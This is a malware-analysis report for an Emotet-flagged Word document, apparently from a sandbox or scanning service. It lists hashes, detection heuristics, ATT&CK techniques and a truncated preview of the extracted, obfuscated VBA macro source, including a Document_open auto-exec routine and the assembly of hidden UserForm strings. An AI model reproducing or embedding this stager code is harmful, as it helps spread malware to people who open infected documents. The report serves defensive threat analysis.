Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7d4966ce4d22fece…

MALICIOUS

Office (OLE)

80.0 KB Created: 2019-12-17 06:11:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: 7fc3a84c81811118225b2f20c1818e02 SHA-1: 2d005b97a671432499f15f7a609a8223ba660217 SHA-256: 7d4966ce4d22fecef5d24dc928471c6d0a33ab6bb115c89e7be40a7bfb536a4e
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The presence of these elements suggests the macro is designed to execute a secondary payload. ClamAV also explicitly detected this as Doc.Downloader.Emotet-7461037-0.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9771 bytes
SHA-256: f36d31dd2037fce4b4ab09662781fc8b2e392a945e4b72e445fa5d4bff2d3e30
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Apgpkwit"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Ettfxginvep, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Yiyrdujuikl = Vmpsqycsphu To Eercjwtm
         Vcadkiyhlntq = Tfewyiaetcq
         Fbosdkut = Vskraikhnvc
Next
Select Case Rwncqqjxm
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Hhqyqbclnpr = Qisgarsklfxpv To Bjwkavjpf
         Gquvemkd = Ojcyfdvbs
         Rxjetgkcgtnd = Bpqbleshxm
Next
Select Case Murnnmuhptkr
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Krvtnnoql = Sziakxdevtbe To Sjcbebomksq
         Yfgtvehh = Qblgscnjnsd
         Mpgdffppj = Eypzfzvhfula
Next
Select Case Wkwjdmadbteo
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ltawyvwjrj
End Sub

Attribute VB_Name = "Wwppglovlku"
Attribute VB_Base = "0{39650168-3498-49EA-8446-FFCEA92E7B80}{5D43C2C4-7F3F-4F31-8CE8-05887EC46B35}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Tiuomrkk"
Function Baswvvyekxdq()
   For Ioqfyjaqdplhc = Gbydaecbqhg To Almiawhlbmiw
         Yjqoomwics = Rgnaxrrhqrd
         Gyffoqhhv = Ztsewsjufkeb
Next
Select Case Oqelthgn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Xmblvihztcof = Apgpkwit.Ettfxginvep
   For Wbebwsgpqrn = Kscvvpmgbsmr To Zuhppiurqjuh
         Axagfluwf = Qlivjsjs
         Vicxlztct = Aggdrgmtydo
Next
Select Case Zxmwgrlppye
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Vgjijvycxto = Xmblvihztcof + Wwppglovlku.Prarinabhbxs + Wwppglovlku.Rkataqriuq + Wwppglovlku.Dswpxqftowi
   For Pvcshvahwn = Gnmhtlrepfw To Oqkzmzsj
         Kwlrpxgiiwls = Jijnjtjztqse
         Jolhesblh = Gjxnmpwp
Next
Select Case Dqezillduzk
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Oyviiawlnoxdl = Vgjijvycxto + Wwppglovlku.Mhnftesdfwmy + Wwppglovlku.Wvysfqwu
   For Lzjqktswnhg = Prfdzogyrykht To Nqboaokrsjg
         Yqrhweaw = Copptayjrqd
         Frwkeznttteaa = Kocskaza
Next
Select Case Rrtaoezpulqat
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            Dn
... (truncated)